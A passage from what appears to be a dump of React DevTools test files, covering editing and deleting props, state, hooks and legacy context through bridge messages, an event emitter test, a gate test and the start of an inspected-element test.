after: 'initial',\n      });\n      renamePath(hostComponentID, ['data-foo'], ['data-bar']);\n      expect({\n        foo: inputRef.current.dataset.foo,\n        bar: inputRef.current.dataset.bar,\n      }).toEqual({\n        foo: undefined,\n        bar: 'test',\n      });\n    });\n\n    // @reactVersion >= 16.9\n    it('should enable adding new object properties and array values', async () => {\n      await mountTestApp();\n\n      function overrideProps(id, path, value) {\n        const rendererID = utils.getRendererID();\n        bridge.send('overrideValueAtPath', {\n          id,\n          path,\n          rendererID,\n          type: 'props',\n          value,\n        });\n        flushPendingUpdates();\n      }\n\n      overrideProps(classID, ['new'], 'value');\n      expect(committedClassProps).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n        },\n        shallow: 'initial',\n        new: 'value',\n      });\n\n      overrideProps(classID, ['object', 'new'], 'value');\n      expect(committedClassProps).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n          new: 'value',\n        },\n        shallow: 'initial',\n        new: 'value',\n      });\n\n      overrideProps(classID, ['array', 3], 'new value');\n      expect(committedClassProps).toStrictEqual({\n        array: [1, 2, 3, 'new value'],\n        object: {\n          nested: 'initial',\n          new: 'value',\n        },\n        shallow: 'initial',\n        new: 'value',\n      });\n\n      overrideProps(functionID, ['new'], 'value');\n      expect(committedFunctionProps).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n        },\n        shallow: 'initial',\n        new: 'value',\n      });\n\n      overrideProps(functionID, ['object', 'new'], 'value');\n      expect(committedFunctionProps).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n          new: 'value',\n        },\n        shallow: 'initial',\n        new: 'value',\n      });\n\n      overrideProps(functionID, ['array', 3], 'new value');\n      expect(committedFunctionProps).toStrictEqual({\n        array: [1, 2, 3, 'new value'],\n        object: {\n          nested: 'initial',\n          new: 'value',\n        },\n        shallow: 'initial',\n        new: 'value',\n      });\n    });\n\n    // @reactVersion >= 17.0\n    it('should have deletable keys', async () => {\n      await mountTestApp();\n\n      function deletePath(id, path) {\n        const rendererID = utils.getRendererID();\n        bridge.send('deletePath', {\n          id,\n          path,\n          rendererID,\n          type: 'props',\n        });\n        flushPendingUpdates();\n      }\n\n      deletePath(classID, ['shallow']);\n      expect(committedClassProps).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n        },\n      });\n      deletePath(classID, ['object', 'nested']);\n      expect(committedClassProps).toStrictEqual({\n        array: [1, 2, 3],\n        object: {},\n      });\n      deletePath(classID, ['array', 1]);\n      expect(committedClassProps).toStrictEqual({\n        array: [1, 3],\n        object: {},\n      });\n\n      deletePath(functionID, ['shallow']);\n      expect(committedFunctionProps).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n        },\n      });\n      deletePath(functionID, ['object', 'nested']);\n      expect(committedFunctionProps).toStrictEqual({\n        array: [1, 2, 3],\n        object: {},\n      });\n      deletePath(functionID, ['array', 1]);\n      expect(committedFunctionProps).toStrictEqual({\n        array: [1, 3],\n        object: {},\n      });\n    });\n\n    // @reactVersion >= 16.9\n    it('should support editing host component values', async () => {\n      await mountTestApp();\n\n      function overrideProps(id, path, value) {\n        const rendererID = utils.getRendererID();\n        bridge.send('overrideValueAtPath', {\n          id,\n          path,\n          rendererID,\n          type: 'props',\n          value,\n        });\n        flushPendingUpdates();\n      }\n\n      overrideProps(hostComponentID, ['value'], 'updated');\n      expect(inputRef.current.value).toBe('updated');\n    });\n  });\n\n  describe('state', () => {\n    let committedState;\n    let id;\n\n    async function mountTestApp() {\n      class ClassComponent extends React.Component {\n        state = {\n          array: [1, 2, 3],\n          object: {\n            nested: 'initial',\n          },\n          shallow: 'initial',\n        };\n        componentDidMount() {\n          committedState = this.state;\n        }\n        componentDidUpdate() {\n          committedState = this.state;\n        }\n        render() {\n          return null;\n        }\n      }\n\n      await utils.actAsync(() =>\n        render(\n          <ClassComponent object={{nested: 'initial'}} shallow=\"initial\" />,\n        ),\n      );\n\n      id = ((store.getElementIDAtIndex(0): any): number);\n\n      expect(committedState).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n        },\n        shallow: 'initial',\n      });\n    }\n\n    // @reactVersion >= 16.9\n    it('should have editable values', async () => {\n      await mountTestApp();\n\n      function overrideState(path, value) {\n        const rendererID = utils.getRendererID();\n        bridge.send('overrideValueAtPath', {\n          id,\n          path,\n          rendererID,\n          type: 'state',\n          value,\n        });\n        flushPendingUpdates();\n      }\n\n      overrideState(['shallow'], 'updated');\n      expect(committedState).toStrictEqual({\n        array: [1, 2, 3],\n        object: {nested: 'initial'},\n        shallow: 'updated',\n      });\n\n      overrideState(['object', 'nested'], 'updated');\n      expect(committedState).toStrictEqual({\n        array: [1, 2, 3],\n        object: {nested: 'updated'},\n        shallow: 'updated',\n      });\n\n      overrideState(['array', 1], 'updated');\n      expect(committedState).toStrictEqual({\n        array: [1, 'updated', 3],\n        object: {nested: 'updated'},\n        shallow: 'updated',\n      });\n    });\n\n    // @reactVersion >= 16.9\n    // Tests the combination of older frontend (DevTools UI) with newer backend (embedded within a renderer).\n    it('should still support overriding state values with legacy backend methods', async () => {\n      await mountTestApp();\n\n      function overrideState(path, value) {\n        const rendererID = utils.getRendererID();\n        bridge.send('overrideState', {\n          id,\n          path,\n          rendererID,\n          value,\n        });\n        flushPendingUpdates();\n      }\n\n      overrideState(['array', 1], 'updated');\n      expect(committedState).toStrictEqual({\n        array: [1, 'updated', 3],\n        object: {nested: 'initial'},\n        shallow: 'initial',\n      });\n    });\n\n    // @reactVersion >= 16.9\n    it('should have editable paths', async () => {\n      await mountTestApp();\n\n      function renamePath(oldPath, newPath) {\n        const rendererID = utils.getRendererID();\n        bridge.send('renamePath', {\n          id,\n          oldPath,\n          newPath,\n          rendererID,\n          type: 'state',\n        });\n        flushPendingUpdates();\n      }\n\n      renamePath(['shallow'], ['after']);\n      expect(committedState).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n        },\n        after: 'initial',\n      });\n\n      renamePath(['object', 'nested'], ['object', 'after']);\n      expect(committedState).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          after: 'initial',\n        },\n        after: 'initial',\n      });\n    });\n\n    // @reactVersion >= 16.9\n    it('should enable adding new object properties and array values', async () => {\n      await mountTestApp();\n\n      function overrideState(path, value) {\n        const rendererID = utils.getRendererID();\n        bridge.send('overrideValueAtPath', {\n          id,\n          path,\n          rendererID,\n          type: 'state',\n          value,\n        });\n        flushPendingUpdates();\n      }\n\n      overrideState(['new'], 'value');\n      expect(committedState).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n        },\n        shallow: 'initial',\n        new: 'value',\n      });\n\n      overrideState(['object', 'new'], 'value');\n      expect(committedState).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n          new: 'value',\n        },\n        shallow: 'initial',\n        new: 'value',\n      });\n\n      overrideState(['array', 3], 'new value');\n      expect(committedState).toStrictEqual({\n        array: [1, 2, 3, 'new value'],\n        object: {\n          nested: 'initial',\n          new: 'value',\n        },\n        shallow: 'initial',\n        new: 'value',\n      });\n    });\n\n    // @reactVersion >= 16.9\n    it('should have deletable keys', async () => {\n      await mountTestApp();\n\n      function deletePath(path) {\n        const rendererID = utils.getRendererID();\n        bridge.send('deletePath', {\n          id,\n          path,\n          rendererID,\n          type: 'state',\n        });\n        flushPendingUpdates();\n      }\n\n      deletePath(['shallow']);\n      expect(committedState).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n        },\n      });\n\n      deletePath(['object', 'nested']);\n      expect(committedState).toStrictEqual({\n        array: [1, 2, 3],\n        object: {},\n      });\n\n      deletePath(['array', 1]);\n      expect(committedState).toStrictEqual({\n        array: [1, 3],\n        object: {},\n      });\n    });\n  });\n\n  describe('hooks', () => {\n    let committedState;\n    let hookID;\n    let id;\n\n    async function mountTestApp() {\n      function FunctionComponent() {\n        const [state] = React.useState({\n          array: [1, 2, 3],\n          object: {\n            nested: 'initial',\n          },\n          shallow: 'initial',\n        });\n        React.useLayoutEffect(() => {\n          committedState = state;\n        });\n        return null;\n      }\n\n      await utils.actAsync(() => render(<FunctionComponent />));\n\n      hookID = 0; // index\n      id = ((store.getElementIDAtIndex(0): any): number);\n\n      expect(committedState).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n        },\n        shallow: 'initial',\n      });\n    }\n\n    // @reactVersion >= 16.9\n    it('should have editable values', async () => {\n      await mountTestApp();\n\n      function overrideHookState(path, value) {\n        const rendererID = utils.getRendererID();\n        bridge.send('overrideValueAtPath', {\n          hookID,\n          id,\n          path,\n          rendererID,\n          type: 'hooks',\n          value,\n        });\n        flushPendingUpdates();\n      }\n\n      overrideHookState(['shallow'], 'updated');\n      expect(committedState).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n        },\n        shallow: 'updated',\n      });\n\n      overrideHookState(['object', 'nested'], 'updated');\n      expect(committedState).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'updated',\n        },\n        shallow: 'updated',\n      });\n\n      overrideHookState(['array', 1], 'updated');\n      expect(committedState).toStrictEqual({\n        array: [1, 'updated', 3],\n        object: {\n          nested: 'updated',\n        },\n        shallow: 'updated',\n      });\n    });\n\n    // @reactVersion >= 16.9\n    // Tests the combination of older frontend (DevTools UI) with newer backend (embedded within a renderer).\n    it('should still support overriding hook values with legacy backend methods', async () => {\n      await mountTestApp();\n\n      function overrideHookState(path, value) {\n        const rendererID = utils.getRendererID();\n        bridge.send('overrideHookState', {\n          hookID,\n          id,\n          path,\n          rendererID,\n          value,\n        });\n        flushPendingUpdates();\n      }\n\n      overrideHookState(['shallow'], 'updated');\n      expect(committedState).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n        },\n        shallow: 'updated',\n      });\n    });\n\n    // @reactVersion >= 17.0\n    it('should have editable paths', async () => {\n      await mountTestApp();\n\n      function renamePath(oldPath, newPath) {\n        const rendererID = utils.getRendererID();\n        bridge.send('renamePath', {\n          id,\n          hookID,\n          oldPath,\n          newPath,\n          rendererID,\n          type: 'hooks',\n        });\n        flushPendingUpdates();\n      }\n\n      renamePath(['shallow'], ['after']);\n      expect(committedState).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n        },\n        after: 'initial',\n      });\n\n      renamePath(['object', 'nested'], ['object', 'after']);\n      expect(committedState).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          after: 'initial',\n        },\n        after: 'initial',\n      });\n    });\n\n    // @reactVersion >= 16.9\n    it('should enable adding new object properties and array values', async () => {\n      await mountTestApp();\n\n      function overrideHookState(path, value) {\n        const rendererID = utils.getRendererID();\n        bridge.send('overrideValueAtPath', {\n          hookID,\n          id,\n          path,\n          rendererID,\n          type: 'hooks',\n          value,\n        });\n        flushPendingUpdates();\n      }\n\n      overrideHookState(['new'], 'value');\n      expect(committedState).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n        },\n        shallow: 'initial',\n        new: 'value',\n      });\n\n      overrideHookState(['object', 'new'], 'value');\n      expect(committedState).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n          new: 'value',\n        },\n        shallow: 'initial',\n        new: 'value',\n      });\n\n      overrideHookState(['array', 3], 'new value');\n      expect(committedState).toStrictEqual({\n        array: [1, 2, 3, 'new value'],\n        object: {\n          nested: 'initial',\n          new: 'value',\n        },\n        shallow: 'initial',\n        new: 'value',\n      });\n    });\n\n    // @reactVersion >= 17.0\n    it('should have deletable keys', async () => {\n      await mountTestApp();\n\n      function deletePath(path) {\n        const rendererID = utils.getRendererID();\n        bridge.send('deletePath', {\n          hookID,\n          id,\n          path,\n          rendererID,\n          type: 'hooks',\n        });\n        flushPendingUpdates();\n      }\n\n      deletePath(['shallow']);\n      expect(committedState).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n        },\n      });\n\n      deletePath(['object', 'nested']);\n      expect(committedState).toStrictEqual({\n        array: [1, 2, 3],\n        object: {},\n      });\n\n      deletePath(['array', 1]);\n      expect(committedState).toStrictEqual({\n        array: [1, 3],\n        object: {},\n      });\n    });\n  });\n\n  describe('context', () => {\n    let committedContext;\n    let id;\n\n    async function mountTestApp() {\n      class LegacyContextProvider extends React.Component<any> {\n        static childContextTypes = {\n          array: PropTypes.array,\n          object: PropTypes.object,\n          shallow: PropTypes.string,\n        };\n        getChildContext() {\n          return {\n            array: [1, 2, 3],\n            object: {\n              nested: 'initial',\n            },\n            shallow: 'initial',\n          };\n        }\n        render() {\n          return this.props.children;\n        }\n      }\n\n      class ClassComponent extends React.Component<any> {\n        static contextTypes = {\n          array: PropTypes.array,\n          object: PropTypes.object,\n          shallow: PropTypes.string,\n        };\n        componentDidMount() {\n          committedContext = this.context;\n        }\n        componentDidUpdate() {\n          committedContext = this.context;\n        }\n        render() {\n          return null;\n        }\n      }\n\n      await utils.actAsync(() =>\n        render(\n          <LegacyContextProvider>\n            <ClassComponent />\n          </LegacyContextProvider>,\n        ),\n      );\n\n      // This test only covers Class components.\n      // Function components using legacy context are not editable.\n\n      id = ((store.getElementIDAtIndex(1): any): number);\n\n      expect(committedContext).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n        },\n        shallow: 'initial',\n      });\n    }\n\n    // @reactVersion >= 16.9\n    // @gate !disableLegacyContext\n    it('should have editable values', async () => {\n      await mountTestApp();\n\n      function overrideContext(path, value) {\n        const rendererID = utils.getRendererID();\n\n        // To simplify hydration and display of primitive context values (e.g. number, string)\n        // the inspectElement() method wraps context in a {value: ...} object.\n        path = ['value', ...path];\n\n        bridge.send('overrideValueAtPath', {\n          id,\n          path,\n          rendererID,\n          type: 'context',\n          value,\n        });\n        flushPendingUpdates();\n      }\n\n      overrideContext(['shallow'], 'updated');\n      expect(committedContext).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n        },\n        shallow: 'updated',\n      });\n\n      overrideContext(['object', 'nested'], 'updated');\n      expect(committedContext).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'updated',\n        },\n        shallow: 'updated',\n      });\n\n      overrideContext(['array', 1], 'updated');\n      expect(committedContext).toStrictEqual({\n        array: [1, 'updated', 3],\n        object: {\n          nested: 'updated',\n        },\n        shallow: 'updated',\n      });\n    });\n\n    // @reactVersion >= 16.9\n    // @gate !disableLegacyContext\n    // Tests the combination of older frontend (DevTools UI) with newer backend (embedded within a renderer).\n    it('should still support overriding context values with legacy backend methods', async () => {\n      await mountTestApp();\n\n      function overrideContext(path, value) {\n        const rendererID = utils.getRendererID();\n\n        // To simplify hydration and display of primitive context values (e.g. number, string)\n        // the inspectElement() method wraps context in a {value: ...} object.\n        path = ['value', ...path];\n\n        bridge.send('overrideContext', {\n          id,\n          path,\n          rendererID,\n          value,\n        });\n        flushPendingUpdates();\n      }\n\n      overrideContext(['object', 'nested'], 'updated');\n      expect(committedContext).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'updated',\n        },\n        shallow: 'initial',\n      });\n    });\n\n    // @reactVersion >= 16.9\n    // @gate !disableLegacyContext\n    it('should have editable paths', async () => {\n      await mountTestApp();\n\n      function renamePath(oldPath, newPath) {\n        const rendererID = utils.getRendererID();\n\n        // To simplify hydration and display of primitive context values (e.g. number, string)\n        // the inspectElement() method wraps context in a {value: ...} object.\n        oldPath = ['value', ...oldPath];\n        newPath = ['value', ...newPath];\n\n        bridge.send('renamePath', {\n          id,\n          oldPath,\n          newPath,\n          rendererID,\n          type: 'context',\n        });\n        flushPendingUpdates();\n      }\n\n      renamePath(['shallow'], ['after']);\n      expect(committedContext).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n        },\n        after: 'initial',\n      });\n\n      renamePath(['object', 'nested'], ['object', 'after']);\n      expect(committedContext).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          after: 'initial',\n        },\n        after: 'initial',\n      });\n    });\n\n    // @reactVersion >= 16.9\n    // @gate !disableLegacyContext\n    it('should enable adding new object properties and array values', async () => {\n      await mountTestApp();\n\n      function overrideContext(path, value) {\n        const rendererID = utils.getRendererID();\n\n        // To simplify hydration and display of primitive context values (e.g. number, string)\n        // the inspectElement() method wraps context in a {value: ...} object.\n        path = ['value', ...path];\n\n        bridge.send('overrideValueAtPath', {\n          id,\n          path,\n          rendererID,\n          type: 'context',\n          value,\n        });\n        flushPendingUpdates();\n      }\n\n      overrideContext(['new'], 'value');\n      expect(committedContext).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n        },\n        shallow: 'initial',\n        new: 'value',\n      });\n\n      overrideContext(['object', 'new'], 'value');\n      expect(committedContext).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n          new: 'value',\n        },\n        shallow: 'initial',\n        new: 'value',\n      });\n\n      overrideContext(['array', 3], 'new value');\n      expect(committedContext).toStrictEqual({\n        array: [1, 2, 3, 'new value'],\n        object: {\n          nested: 'initial',\n          new: 'value',\n        },\n        shallow: 'initial',\n        new: 'value',\n      });\n    });\n\n    // @reactVersion >= 16.9\n    // @gate !disableLegacyContext\n    it('should have deletable keys', async () => {\n      await mountTestApp();\n\n      function deletePath(path) {\n        const rendererID = utils.getRendererID();\n\n        // To simplify hydration and display of primitive context values (e.g. number, string)\n        // the inspectElement() method wraps context in a {value: ...} object.\n        path = ['value', ...path];\n\n        bridge.send('deletePath', {\n          id,\n          path,\n          rendererID,\n          type: 'context',\n        });\n        flushPendingUpdates();\n      }\n\n      deletePath(['shallow']);\n      expect(committedContext).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n        },\n      });\n\n      deletePath(['object', 'nested']);\n      expect(committedContext).toStrictEqual({\n        array: [1, 2, 3],\n        object: {},\n      });\n\n      deletePath(['array', 1]);\n      expect(committedContext).toStrictEqual({\n        array: [1, 3],\n        object: {},\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/events-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\ndescribe('events', () => {\n  let dispatcher;\n\n  beforeEach(() => {\n    const EventEmitter = require('../events').default;\n\n    dispatcher = new EventEmitter();\n  });\n\n  // @reactVersion >=16\n  it('can dispatch an event with no listeners', () => {\n    dispatcher.emit('event', 123);\n  });\n\n  // @reactVersion >=16\n  it('handles a listener being attached multiple times', () => {\n    const callback = jest.fn();\n\n    dispatcher.addListener('event', callback);\n    dispatcher.addListener('event', callback);\n\n    dispatcher.emit('event', 123);\n    expect(callback).toHaveBeenCalledTimes(1);\n    expect(callback).toHaveBeenCalledWith(123);\n  });\n\n  // @reactVersion >=16\n  it('notifies all attached listeners of events', () => {\n    const callback1 = jest.fn();\n    const callback2 = jest.fn();\n    const callback3 = jest.fn();\n\n    dispatcher.addListener('event', callback1);\n    dispatcher.addListener('event', callback2);\n    dispatcher.addListener('other-event', callback3);\n    dispatcher.emit('event', 123);\n\n    expect(callback1).toHaveBeenCalledTimes(1);\n    expect(callback1).toHaveBeenCalledWith(123);\n    expect(callback2).toHaveBeenCalledTimes(1);\n    expect(callback2).toHaveBeenCalledWith(123);\n    expect(callback3).not.toHaveBeenCalled();\n  });\n\n  // @reactVersion >= 16.0\n  it('calls later listeners before re-throwing if an earlier one throws', () => {\n    const callbackThatThrows = jest.fn(() => {\n      throw Error('expected');\n    });\n    const callback = jest.fn();\n\n    dispatcher.addListener('event', callbackThatThrows);\n    dispatcher.addListener('event', callback);\n\n    expect(() => {\n      dispatcher.emit('event', 123);\n    }).toThrow('expected');\n\n    expect(callbackThatThrows).toHaveBeenCalledTimes(1);\n    expect(callbackThatThrows).toHaveBeenCalledWith(123);\n    expect(callback).toHaveBeenCalledTimes(1);\n    expect(callback).toHaveBeenCalledWith(123);\n  });\n\n  // @reactVersion >= 16.0\n  it('removes attached listeners', () => {\n    const callback1 = jest.fn();\n    const callback2 = jest.fn();\n\n    dispatcher.addListener('event', callback1);\n    dispatcher.addListener('other-event', callback2);\n    dispatcher.removeListener('event', callback1);\n    dispatcher.emit('event', 123);\n    expect(callback1).not.toHaveBeenCalled();\n    dispatcher.emit('other-event', 123);\n    expect(callback2).toHaveBeenCalledTimes(1);\n    expect(callback2).toHaveBeenCalledWith(123);\n  });\n\n  // @reactVersion >= 16.0\n  it('removes all listeners', () => {\n    const callback1 = jest.fn();\n    const callback2 = jest.fn();\n    const callback3 = jest.fn();\n\n    dispatcher.addListener('event', callback1);\n    dispatcher.addListener('event', callback2);\n    dispatcher.addListener('other-event', callback3);\n    dispatcher.removeAllListeners();\n    dispatcher.emit('event', 123);\n    dispatcher.emit('other-event', 123);\n\n    expect(callback1).not.toHaveBeenCalled();\n    expect(callback2).not.toHaveBeenCalled();\n    expect(callback3).not.toHaveBeenCalled();\n  });\n\n  // @reactVersion >= 16.0\n  it('should call the initial listeners even if others are added or removed during a dispatch', () => {\n    const callback1 = jest.fn(() => {\n      dispatcher.removeListener('event', callback2);\n      dispatcher.addListener('event', callback3);\n    });\n    const callback2 = jest.fn();\n    const callback3 = jest.fn();\n\n    dispatcher.addListener('event', callback1);\n    dispatcher.addListener('event', callback2);\n\n    dispatcher.emit('event', 123);\n    expect(callback1).toHaveBeenCalledTimes(1);\n    expect(callback1).toHaveBeenCalledWith(123);\n    expect(callback2).toHaveBeenCalledTimes(1);\n    expect(callback2).toHaveBeenCalledWith(123);\n    expect(callback3).not.toHaveBeenCalled();\n\n    dispatcher.emit('event', 456);\n    expect(callback1).toHaveBeenCalledTimes(2);\n    expect(callback1).toHaveBeenCalledWith(456);\n    expect(callback2).toHaveBeenCalledTimes(1);\n    expect(callback3).toHaveBeenCalledTimes(1);\n    expect(callback3).toHaveBeenCalledWith(456);\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/gate-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\ndescribe('gate', () => {\n  //@gate false\n  it('should expect an error for this test', () => {\n    throw new Error('This test should fail');\n  });\n\n  //@gate true\n  it('should not an error for this test', () => {});\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/inspectedElement-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport typeof ReactTestRenderer from 'react-test-renderer';\nimport {\n  withErrorsOrWarningsIgnored,\n  getLegacyRenderImplementation,\n  getModernRenderImplementation,\n  getVersionedRenderImplementation,\n} from 'react-devtools-shared/src/__tests__/utils';\n\nimport type {FrontendBridge} from 'react-devtools-shared/src/bridge';\nimport type Store from 'react-devtools-shared/src/devtools/store';\n\ndescribe('InspectedElement', () => {\n  let React;\n  let ReactDOM;\n  let ReactDOMClient;\n  let PropTypes;\n  let TestRenderer: ReactTestRenderer;\n  let bridge: FrontendBridge;\n  let store: Store;\n  let utils;\n\n  let BridgeContext;\n  let InspectedElementContext;\n  let InspectedElementContextController;\n  let SettingsContextController;\n  let StoreContext;\n  let TreeContextController;\n  let TreeStateContext;\n  let TreeDispatcherContext;\n\n  let TestUtilsAct;\n  let TestRendererAct;\n\n  let testRendererInstance;\n\n  let ErrorBoundary;\n  let errorBoundaryInstance;\n\n  global.IS_REACT_ACT_ENVIRONMENT = true;\n\n  beforeEach(() => {\n    utils = require('./utils');\n    utils.beforeEachProfiling();\n\n    bridge = global.bridge;\n    store = global.store;\n    store.collapseNodesByDefault = false;\n\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    PropTypes = require('prop-types');\n    TestUtilsAct = require('internal-test-utils').act;\n    TestRenderer = utils.requireTestRenderer();\n    TestRendererAct = require('internal-test-utils').act;\n\n    BridgeContext =\n      require('react-devtools-shared/src/devtools/views/context').BridgeContext;\n    InspectedElementContext =\n      require('react-devtools-shared/src/devtools/views/Components/InspectedElementContext').InspectedElementContext;\n    InspectedElementContextController =\n      require('react-devtools-shared/src/devtools/views/Components/InspectedElementContext').InspectedElementContextController;\n    SettingsContextController =\n      require('react-devtools-shared/src/devtools/views/Settings/SettingsContext').SettingsContextController;\n    StoreContext =\n      require('react-devtools-shared/src/devtools/views/context').StoreContext;\n    TreeContextController =\n      require('react-devtools-shared/src/devtools/views/Components/TreeContext').TreeContextController;\n    TreeStateContext =\n      require('react-devtools-shared/src/devtools/views/Components/TreeContext').TreeStateContext;\n    TreeDispatcherContext =\n      require('react-devtools-shared/src/devtools/views/Components/TreeContext').TreeDispatcherContext;\n\n    // Used by inspectElementAtIndex() helper function\n    utils.act(() => {\n      testRendererInstance = TestRenderer.create(null, {\n        unstable_isConcurrent: true,\n      });\n    });\n\n    errorBoundaryInstance = null;\n\n    ErrorBoundary = class extends React.Component {\n      state = {error: null};\n      componentDidCatch(error) {\n        this.setState({error});\n      }\n      render() {\n        errorBoundaryInstance = this;\n\n        if (this.state.error) {\n          return null;\n        }\n        return this.props.children;\n      }\n    };\n  });\n\n  afterEach(() => {\n    jest.restoreAllMocks();\n  });\n\n  const {render: legacyRender} = getLegacyRenderImplementation();\n  const {render: modernRender} = getModernRenderImplementation();\n  const {render} = getVersionedRenderImplementation();\n\n  const Contexts = ({\n    children,\n    defaultInspectedElementID = null,\n    defaultInspectedElementIndex = null,\n  }) => (\n    <BridgeContext.Provider value={bridge}>\n      <StoreContext.Provider value={store}>\n        <SettingsContextController>\n          <TreeContextController\n            defaultInspectedElementID={defaultInspectedElementID}\n            defaultInspectedElementIndex={defaultInspectedElementIndex}>\n            <InspectedElementContextController>\n              {children}\n            </InspectedElementContextController>\n          </TreeContextController>\n        </SettingsContextController>\n      </StoreContext.Provider>\n    </BridgeContext.Provider>\n  );\n\n  function useInspectedElement() {\n    const {inspectedElement} = React.useContext(InspectedElementContext);\n    return inspectedElement;\n  }\n\n  function useInspectElementPath() {\n    const {inspectPaths} = React.useContext(InspectedElementContext);\n    return inspectPaths;\n  }\n\n  function noop() {}\n\n  async function inspectElementAtIndex(\n    index,\n    useCustomHook = noop,\n    shouldThrow = false,\n  ) {\n    let didFinish = false;\n    let inspectedElement = null;\n\n    function Suspender() {\n      useCustomHook();\n      inspectedElement = useInspectedElement();\n      didFinish = true;\n      return null;\n    }\n\n    const id = ((store.getElementIDAtIndex(index): any): number);\n\n    await utils.actAsync(() => {\n      testRendererInstance.update(\n        <ErrorBoundary>\n          <Contexts\n            defaultInspectedElementID={id}\n            defaultInspectedElementIndex={index}>\n            <React.Suspense fallback={null}>\n              <Suspender id={id} index={index} />\n            </React.Suspense>\n          </Contexts>\n        </ErrorBoundary>,\n      );\n    }, false);\n\n    if (!shouldThrow) {\n      expect(didFinish).toBe(true);\n    }\n\n    return inspectedElement;\n  }\n\n  // TODO(hoxyq): Enable this test for versions ~18, currently broken\n  // @reactVersion <= 18.2\n  // eslint-disable-next-line jest/no-disabled-tests\n  it.skip('should inspect the currently selected element (legacy render)', async () => {\n    const Example = () => {\n      const [count] = React.useState(1);\n      return count;\n    };\n\n    await utils.actAsync(() => {\n      legacyRender(<Example a={1} b=\"abc\" />);\n    });\n\n    const inspectedElement = await inspectElementAtIndex(0);\n    expect(inspectedElement).toMatchInlineSnapshot(`\n      {\n        \"context\": null,\n        \"events\": undefined,\n        \"hooks\": [\n          {\n            \"debugInfo\": null,\n            \"hookSource\": {\n              \"columnNumber\": \"removed by Jest serializer\",\n              \"fileName\": \"react-devtools-shared/src/__tests__/inspectedElement-test.js\",\n              \"functionName\": \"Example\",\n              \"lineNumber\": \"removed by Jest serializer\",\n            },\n            \"id\": 0,\n            \"isStateEditable\": true,\n            \"name\": \"State\",\n            \"subHooks\": [],\n            \"value\": 1,\n          },\n        ],\n        \"id\": 2,\n        \"owners\": null,\n        \"props\": {\n          \"a\": 1,\n          \"b\": \"abc\",\n        },\n        \"rootType\": \"render()\",\n        \"state\": null,\n      }\n    `);\n  });\n\n  it('should inspect the currently selected element (createRoot)', async () => {\n    const Example = () => {\n      const [count] = React.useState(1);\n      return count;\n    };\n\n    await utils.actAsync(() => {\n      modernRender(<Example a={1} b=\"abc\" />);\n    });\n\n    const inspectedElement = await inspectElementAtIndex(0);\n    expect(inspectedElement).toMatchInlineSnapshot(`\n      {\n        \"context\": null,\n        \"events\": undefined,\n        \"hooks\": [\n          {\n            \"debugInfo\": null,\n            \"hookSource\": {\n              \"columnNumber\": \"removed by Jest serializer\",\n              \"fileName\": \"react-devtools-shared/src/__tests__/inspectedElement-test.js\",\n              \"functionName\": \"Example\",\n              \"lineNumber\": \"removed by Jest serializer\",\n            },\n            \"id\": 0,\n            \"isStateEditable\": true,\n            \"name\": \"State\",\n            \"subHooks\": [],\n            \"value\": 1,\n          },\n        ],\n        \"id\": 2,\n        \"owners\": null,\n        \"props\": {\n          \"a\": 1,\n          \"b\": \"abc\",\n        },\n        \"rootType\": \"createRoot()\",\n        \"state\": null,\n      }\n    `);\n  });\n\n  it('should have hasLegacyContext flag set to either \"true\" or \"false\" depending on which context API is used.', async () => {\n    const contextData = {\n      bool: true,\n    };\n\n    // Legacy Context API.\n    class LegacyContextProvider extends React.Component<any> {\n      static childContextTypes = {\n        bool: PropTypes.bool,\n      };\n      